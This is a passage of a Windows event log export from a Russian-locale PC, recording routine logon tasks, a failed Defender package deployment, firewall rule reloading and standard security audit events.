131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:02.324\t62171\tLogon task 'ActiveSetup' finished with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:02.324\t62170\tLogon task 'WaitForMSAConnected' started with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:02.324\t62171\tLogon task 'WaitForMSAConnected' finished with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:02.324\t62170\tLogon task 'ClickToDoEligibility' started with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:02.324\t62170\tLogon task 'CacheUserEligibility' started with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:02.324\t62170\tLogon task 'RefreshOneSettingsFeatureConfigurations' started with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:02.324\t62171\tLogon task 'RefreshOneSettingsFeatureConfigurations' finished with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:02.337\t62171\tLogon task 'ClickToDoEligibility' finished with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:02.337\t62171\tLogon task 'AppReadinessPreRoamingGroup' finished with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:02.337\t62171\tLogon task 'PreRoamingTasks' finished with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:02.337\t62170\tLogon task 'PreShellTasks' started with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:02.338\t62170\tLogon task 'AppRestore' started with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:02.338\t62171\tLogon task 'AppRestore' finished with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:02.338\t62170\tLogon task 'StartLayoutInit' started with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:02.338\t62170\tLogon task 'DownloadEduThemes' started with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:02.338\t62170\tLogon task 'UgradeTaskFlowPolicy' started with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:02.338\t62171\tLogon task 'UgradeTaskFlowPolicy' finished with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:02.338\t62170\tLogon task 'LaunchProgrammableTaskbarCloudManager' started with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:02.338\t62171\tLogon task 'LaunchProgrammableTaskbarCloudManager' finished with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:02.338\t62171\tLogon task 'DownloadEduThemes' finished with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:02.338\t62170\tLogon task 'ShellHandwriting' started with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:02.338\t62171\tLogon task 'ShellHandwriting' finished with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:02.338\t62171\tLogon task 'AppReadinessPreShellGroup' finished with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:02.339\t62171\tLogon task 'AppResolver' finished with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:02.339\t62171\tLogon task 'PreShellTasks' finished with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:02.339\t62170\tLogon task 'ShellInitTasks' started with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:02.339\t62170\tLogon task 'AppReadinessLogonGroup' started with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:02.339\t62170\tLogon task 'UpdatePCSettingsShellInit' started with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:02.339\t62171\tLogon task 'UpdatePCSettingsShellInit' finished with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:02.339\t62170\tLogon task 'InstallPWAs' started with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:02.341\t9703\tRunOnce commands started.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:02.342\t9705\tStarted enumeration of commands for registry key 'Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce'.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:02.343\t9707\tStarted execution of command 'setup.exe\" --msedgewebview --delete-old-versions --system-level --verbose-logging --on-logon'.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:02.350\t2413\tAn application was registered with the following parameters: windows.immersivecontrolpanel_cw5n1h2txyewy [PackageFullName] windows.immersivecontrolpanel_cw5n1h2txyewy!microsoft.windows.immersivecontrolpanel [AppUserModelId] 0x600 [Settings] 268435456 [AppType] The operation completed successfully. [ErrorCode].\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:29:02.353\t603\tStarted deployment Stage operation on a package with main parameter MdOdrMcpFilter.msix and Options ForceUpdateFromAnyVersion,NormalPriorityRequest and 0. See http://go.microsoft.com/fwlink/?LinkId=235160 for help diagnosing app deployment issues.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 08:29:02.395\t62171\tLogon task 'CacheUserEligibility' finished with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:02.395\t62171\tLogon task 'AppReadinessLogonGroup' finished with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:02.396\t62171\tLogon task 'InstallPWAs' finished with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:02.396\t62171\tLogon task 'ShellInitTasks' finished with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:02.477\t501\t\"A process has deleted a USN journal on a volume.\n\n           Process: SearchIndexer.\n           Volume Id: {23606dfe-da07-4ad7-8798-8deaced0a66e}\n           Volume Name: C:\n           Journal Id: 0x1DC755BE25CD000\n           Current USN: 0x0\n\"\tInformation\tMicrosoft-Windows-Ntfs/Operational\tMicrosoft-Windows-Ntfs\n05.09.2026 08:29:02.482\t4799\t\"A security-enabled local group membership was enumerated.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nGroup:\n\tSecurity ID:\t\tS-1-5-32-544\n\tGroup Name:\t\t\u0410\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u044b\n\tGroup Domain:\t\tBuiltin\n\nProcess Information:\n\tProcess ID:\t\t0x217c\n\tProcess Name:\t\tC:\\Windows\\System32\\taskhostw.exe\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:02.486\t4799\t\"A security-enabled local group membership was enumerated.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nGroup:\n\tSecurity ID:\t\tS-1-5-32-544\n\tGroup Name:\t\t\u0410\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u044b\n\tGroup Domain:\t\tBuiltin\n\nProcess Information:\n\tProcess ID:\t\t0x217c\n\tProcess Name:\t\tC:\\Windows\\System32\\taskhostw.exe\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:02.490\t501\t\"A process has deleted a USN journal on a volume.\n\n           Process: SearchIndexer.\n           Volume Id: {b4de30fc-d998-46fa-9187-a8f915fd81fc}\n           Volume Name: D:\n           Journal Id: 0x1DCE9F9F77DCD9D\n           Current USN: 0x0\n\"\tInformation\tMicrosoft-Windows-Ntfs/Operational\tMicrosoft-Windows-Ntfs\n05.09.2026 08:29:02.501\t157\tThe app package signature was validated for core content of the app package published by CN=Microsoft Windows, O=Microsoft Corporation, L=Redmond, S=Washington, C=US. Payload won't be validated until the files are read.\tInformation\tMicrosoft-Windows-AppxPackaging/Operational\tMicrosoft-Windows-AppxPackagingOM\n05.09.2026 08:29:02.523\t2084\t\"Added a Duplicate Rule\n\nRule Name:\t@{Microsoft.XboxIdentityProvider_12.130.16001.0_x64__8wekyb3d8bbwe?ms-resource://Microsoft.XboxIdentityProvider/Resources/DisplayName}\n\"\tInformation\tMicrosoft-Windows-Windows Firewall With Advanced Security/Firewall\tMicrosoft-Windows-Windows Firewall With Advanced Security\n05.09.2026 08:29:02.523\t2084\t\"Added a Duplicate Rule\n\nRule Name:\t@{Microsoft.Getstarted_10.2312.1.0_x64__8wekyb3d8bbwe?ms-resource://Microsoft.Getstarted/Resources/AppStoreName}\n\"\tInformation\tMicrosoft-Windows-Windows Firewall With Advanced Security/Firewall\tMicrosoft-Windows-Windows Firewall With Advanced Security\n05.09.2026 08:29:02.524\t2084\t\"Added a Duplicate Rule\n\nRule Name:\t@{Microsoft.WindowsCamera_2025.2510.2.0_x64__8wekyb3d8bbwe?ms-resource://Microsoft.WindowsCamera/LensSDK/Resources/AppStoreName}\n\"\tInformation\tMicrosoft-Windows-Windows Firewall With Advanced Security/Firewall\tMicrosoft-Windows-Windows Firewall With Advanced Security\n05.09.2026 08:29:02.524\t2084\t\"Added a Duplicate Rule\n\nRule Name:\t@{Microsoft.WindowsCamera_2025.2510.2.0_x64__8wekyb3d8bbwe?ms-resource://Microsoft.WindowsCamera/LensSDK/Resources/AppStoreName}\n\"\tInformation\tMicrosoft-Windows-Windows Firewall With Advanced Security/Firewall\tMicrosoft-Windows-Windows Firewall With Advanced Security\n05.09.2026 08:29:02.524\t2084\t\"Added a Duplicate Rule\n\nRule Name:\t@{Microsoft.WindowsCalculator_11.2508.4.0_x64__8wekyb3d8bbwe?ms-resource://Microsoft.WindowsCalculator/Resources/AppStoreName}\n\"\tInformation\tMicrosoft-Windows-Windows Firewall With Advanced Security/Firewall\tMicrosoft-Windows-Windows Firewall With Advanced Security\n05.09.2026 08:29:02.524\t2084\t\"Added a Duplicate Rule\n\nRule Name:\t@{Microsoft.ZuneVideo_10.25121.10051.0_x64__8wekyb3d8bbwe?ms-resource://Microsoft.ZuneVideo/resources/IDS_MANIFEST_VIDEO_APP_NAME}\n\"\tInformation\tMicrosoft-Windows-Windows Firewall With Advanced Security/Firewall\tMicrosoft-Windows-Windows Firewall With Advanced Security\n05.09.2026 08:29:02.524\t2084\t\"Added a Duplicate Rule\n\nRule Name:\t@{Microsoft.ZuneVideo_10.25121.10051.0_x64__8wekyb3d8bbwe?ms-resource://Microsoft.ZuneVideo/resources/IDS_MANIFEST_VIDEO_APP_NAME}\n\"\tInformation\tMicrosoft-Windows-Windows Firewall With Advanced Security/Firewall\tMicrosoft-Windows-Windows Firewall With Advanced Security\n05.09.2026 08:29:02.524\t2084\t\"Added a Duplicate Rule\n\nRule Name:\t@{Microsoft.People_10.2202.100.0_x64__8wekyb3d8bbwe?ms-resource://Microsoft.People/Resources/AppStoreName}\n\"\tInformation\tMicrosoft-Windows-Windows Firewall With Advanced Security/Firewall\tMicrosoft-Windows-Windows Firewall With Advanced Security\n05.09.2026 08:29:02.524\t2084\t\"Added a Duplicate Rule\n\nRule Name:\t@{AppUp.IntelGraphicsExperience_1.100.5688.0_x64__8j3eq9eme6ctt?ms-resource://AppUp.IntelGraphicsExperience/Resources/System_Item_Title_IntelGraphicsControlPanel}\n\"\tInformation\tMicrosoft-Windows-Windows Firewall With Advanced Security/Firewall\tMicrosoft-Windows-Windows Firewall With Advanced Security\n05.09.2026 08:29:02.535\t4004\t\"Network State Change Fired\n\tNew Internet Connection Profile: false\n\tConnection Cost Changed: true\n\tDomain Connectivity Level Changed: false\n\tNetwork Connectivity Level Changed: true\n\tHost Name Changed: true\n\tWwan Registration State Changed: false\n\tTethering Operational State Changed: false\n\tTethering Client Count Changed: false\"\tInformation\tMicrosoft-Windows-NetworkProfile/Operational\tMicrosoft-Windows-NetworkProfile\n05.09.2026 08:29:02.535\t55\tIs the Internet available: false\tInformation\tMicrosoft-Windows-UniversalTelemetryClient/Operational\tMicrosoft-Windows-UniversalTelemetryClient\n05.09.2026 08:29:02.535\t56\tIs a free network available: false\tInformation\tMicrosoft-Windows-UniversalTelemetryClient/Operational\tMicrosoft-Windows-UniversalTelemetryClient\n05.09.2026 08:29:02.535\t1024\tInternet connection status changed to false, submitting pending workitems: count = 1.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:29:02.544\t4799\t\"A security-enabled local group membership was enumerated.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nGroup:\n\tSecurity ID:\t\tS-1-5-32-544\n\tGroup Name:\t\t\u0410\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u044b\n\tGroup Domain:\t\tBuiltin\n\nProcess Information:\n\tProcess ID:\t\t0x217c\n\tProcess Name:\t\tC:\\Windows\\System32\\taskhostw.exe\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:02.556\t4799\t\"A security-enabled local group membership was enumerated.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nGroup:\n\tSecurity ID:\t\tS-1-5-32-544\n\tGroup Name:\t\t\u0410\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u044b\n\tGroup Domain:\t\tBuiltin\n\nProcess Information:\n\tProcess ID:\t\t0x217c\n\tProcess Name:\t\tC:\\Windows\\System32\\taskhostw.exe\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:02.564\t2059\t\"All rules have been deleted from the Windows Defender Firewall configuration on this computer.\n\n\tStore Type:\t12\n\tModifyingUser:\tS-1-5-80-3088073201-1464728630-1879813800-1107566885-823218052\n\tModifyingApplication:\tC:\\WINDOWS\\System32\\svchost.exe\n\tError Code:\t0\"\tInformation\tMicrosoft-Windows-Windows Firewall With Advanced Security/Firewall\tMicrosoft-Windows-Windows Firewall With Advanced Security\n05.09.2026 08:29:02.564\t2051\t\"Tenant Restrictions Policy Update\n\nError code:\t0\nPolicy Change:\t0\n\"\tInformation\tMicrosoft-Windows-Windows Firewall With Advanced Security/Firewall\tMicrosoft-Windows-Windows Firewall With Advanced Security\n05.09.2026 08:29:02.566\t5024\tThe Windows Firewall service started successfully.\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:02.585\t170\tThe streaming reader was created successfully for app package MdOdrMcpFilterPackage_1.0.0.0_neutral__cw5n1h2txyewy.\tInformation\tMicrosoft-Windows-AppxPackaging/Operational\tMicrosoft-Windows-AppxPackagingOM\n05.09.2026 08:29:02.587\t9648\t\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:02.593\t10002\tCreating Resiliency File C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\05b25e39-69ab-4442-bfa6-6dda1ec0b1c4_S-1-5-18_2.rslc for Stage Operation on Package MdOdrMcpFilterPackage_1.0.0.0_neutral__cw5n1h2txyewy.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 08:29:02.594\t607\tDeployment Stage operation on package MdOdrMcpFilterPackage_1.0.0.0_neutral__cw5n1h2txyewy has been de-queued and is running for user SID S-1-5-18.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 08:29:02.594\t854\tSuccessfully added the following uri(s) to be processed:  file:///C:/ProgramData/Microsoft/Windows%20Defender/Platform/4.18.26080.3-0/MdOdrMcpFilter.msix.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 08:29:02.596\t867\tWindows cannot install package MdOdrMcpFilterPackage_1.0.0.0_neutral__cw5n1h2txyewy because it is already installed with a different external location.\tError\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 08:29:02.622\t605\tError 0x80073D0B: Failure in the Indexed state handler.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 08:29:02.625\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t5\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x68c\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:02.625\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\n\t\t\tSeTcbPrivilege\n\t\t\tSeSecurityPrivilege\n\t\t\tSeTakeOwnershipPrivilege\n\t\t\tSeLoadDriverPrivilege\n\t\t\tSeBackupPrivilege\n\t\t\tSeRestorePrivilege\n\t\t\tSeDebugPrivilege\n\t\t\tSeAuditPrivilege\n\t\t\tSeSystemEnvironmentPrivilege\n\t\t\tSeImpersonatePrivilege\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:02.630\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 08:29:02.630\t4799\t\"A security-enabled local group membership was enumerated.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nGroup:\n\tSecurity ID:\t\tS-1-5-32-544\n\tGroup Name:\t\t\u0410\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u044b\n\tGroup Domain:\t\tBuiltin\n\nProcess Information:\n\tProcess ID:\t\t0x217c\n\tProcess Name:\t\tC:\\Windows\\System32\\taskhostw.exe\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:02.634\t4799\t\"A security-enabled local group membership was enumerated.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nGroup:\n\tSecurity ID:\t\tS-1-5-32-544\n\tGroup Name:\t\t\u0410\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u044b\n\tGroup Domain:\t\tBuiltin\n\nProcess Information:\n\tProcess ID:\t\t0x217c\n\tProcess Name:\t\tC:\\Windows\\System32\\taskhostw.exe\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:02.641\t401\tDeployment Stage operation with target volume C: on Package MdOdrMcpFilterPackage_1.0.0.0_neutral__cw5n1h2txyewy from:  (MdOdrMcpFilter.msix)  failed with error 0x80073D0B. See http://go.microsoft.com/fwlink/?LinkId=235160 for help diagnosing app deployment issues.\tError\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 08:29:02.641\t698\tDeployment Stage operation with target volume C: on Package MdOdrMcpFilterPackage_1.0.0.0_neutral__cw5n1h2txyewy from:  (MdOdrMcpFilter.msix)  failed with error 0x80073D0B. See http://go.microsoft.com/fwlink/?LinkId=235160 for help diagnosing app deployment issues.\tError\tMicrosoft-Windows-AppXDeploymentServer/Restricted\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 08:29:02.661\t404\tAppX Deployment operation failed for package MdOdrMcpFilterPackage_1.0.0.0_neutral__cw5n1h2txyewy with error 0x80073D0B. The specific error text for this failure is: Windows \u043d\u0435 \u0443\u0434\u0430\u0435\u0442\u0441\u044f \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c MdOdrMcpFilterPackage_1.0.0.0_neutral__cw5n1h2txyewy \u043f\u0430\u043a\u0435\u0442\u043e\u0432, \u0442\u0430\u043a \u043a\u0430\u043a \u043e\u043d \u0443\u0436\u0435 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d \u0441 \u0434\u0440\u0443\u0433\u0438\u043c \u0432\u043d\u0435\u0448\u043d\u0438\u043c \u0440\u0430\u0441\u043f\u043e\u043b\u043e\u0436\u0435\u043d\u0438\u0435\u043c. \tError\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 08:29:02.662\t613\t\"Performance summary of Deployment Stage operation on Package MdOdrMcpFilterPackage_1.0.0.0_neutral__cw5n1h2txyewy: Failed to reach state Indexed\nOverall time: 281 ms (Active time: 281 ms)\nEnqueue cost: 219 ms\nDequeue delay: 0 ms\nBundle processing cost: 0 ms\nIndexing cost: 31 ms\nResolve dependency cost: 0 ms\nCheck approval cost: 0 ms\nEvaluation cost: 0 ms\nHardlinking evaluation cost: 0 ms\nStage required cost: 0 ms\nFlushing and closing files cost: 0 ms\nMachine register cost: 0 ms\nStage user data cost: 0 ms\nRegistration cost: 0 ms\nRepository commit transaction cost: 0 ms\nData flush cost: 0 ms\nPost DeStage repository commit transaction cost: 0 ms\nRemaining cost: 31 ms\n\"\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 08:29:02.683\t8000\t\"Process Name: C:\\WINDOWS\\system32\\svchost.exe\nModule Name: C:\\WINDOWS\\SYSTEM32\\licensemanagerapi.dll\nBuild: 26100.1.amd64fre.ge_release.240331-1435\n\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:02.684\t8001\t\"canDisableApps value is 0\nFunction: InitStoreAppsAreDisabled\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\apisethost\\activationapis.cpp (195)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:02.685\t8001\t\"Skipping license manager: PFN MicrosoftWindows.CrossDevice_1.26052.99.0_x64__cw5n1h2txyewy\nFunction: InvokeLicenseManagerRequired\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\apisethost\\activationapis.cpp (373)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:02.702\t501\t\"A process has deleted a USN journal on a volume.\n\n           Process: SearchIndexer.\n           Volume Id: {5285d7ae-0000-0000-0000-300432000000}\n           Volume Name: F:\n           Journal Id: 0x19DB31D0AD8ABD4\n           Current USN: 0x0\n\"\tInformation\tMicrosoft-Windows-Ntfs/Operational\tMicrosoft-Windows-Ntfs\n05.09.2026 08:29:02.759\t210\tCreated Desktop AppX container {245CDB00-A8C9-11F1-B7FF-289200F24A99} for package MicrosoftWindows.CrossDevice_1.26052.99.0_x64__cw5n1h2txyewy.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 08:29:02.759\t211\tAdded process 10344 to Desktop AppX container 245cdb00-a8c9-11f1-b7ff-289200f24a99 for package MicrosoftWindows.CrossDevice_1.26052.99.0_x64__cw5n1h2txyewy.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 08:29:02.788\t265\t1 predictions were fetched for transforms '' and PCRs 7,11. USN: 0, Matching PCRs: 1,2,3,4,5,6,7,8,9,10,11.\tInformation\tMicrosoft-Windows-PCRPF/PCRPF\tMicrosoft-Windows-PCRPF\n05.09.2026 08:29:02.909\t9649\t\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:02.909\t62170\tLogon task 'PreStartTasks' started with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:02.909\t62170\tLogon task 'LaunchExperienceHost' started with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:02.909\t28125\tStarting to refresh app resolver cache for scenario 1 with flags 2316.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:02.914\t62170\tLogon task 'LaunchContentDeliveryManagerStart' started with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:02.919\t62171\tLogon task 'LaunchContentDeliveryManagerStart' finished with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:02.919\t62170\tLogon task 'PerformSignInSuggestionsStart' started with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:02.919\t62171\tLogon task 'PerformSignInSuggestionsStart' finished with flags 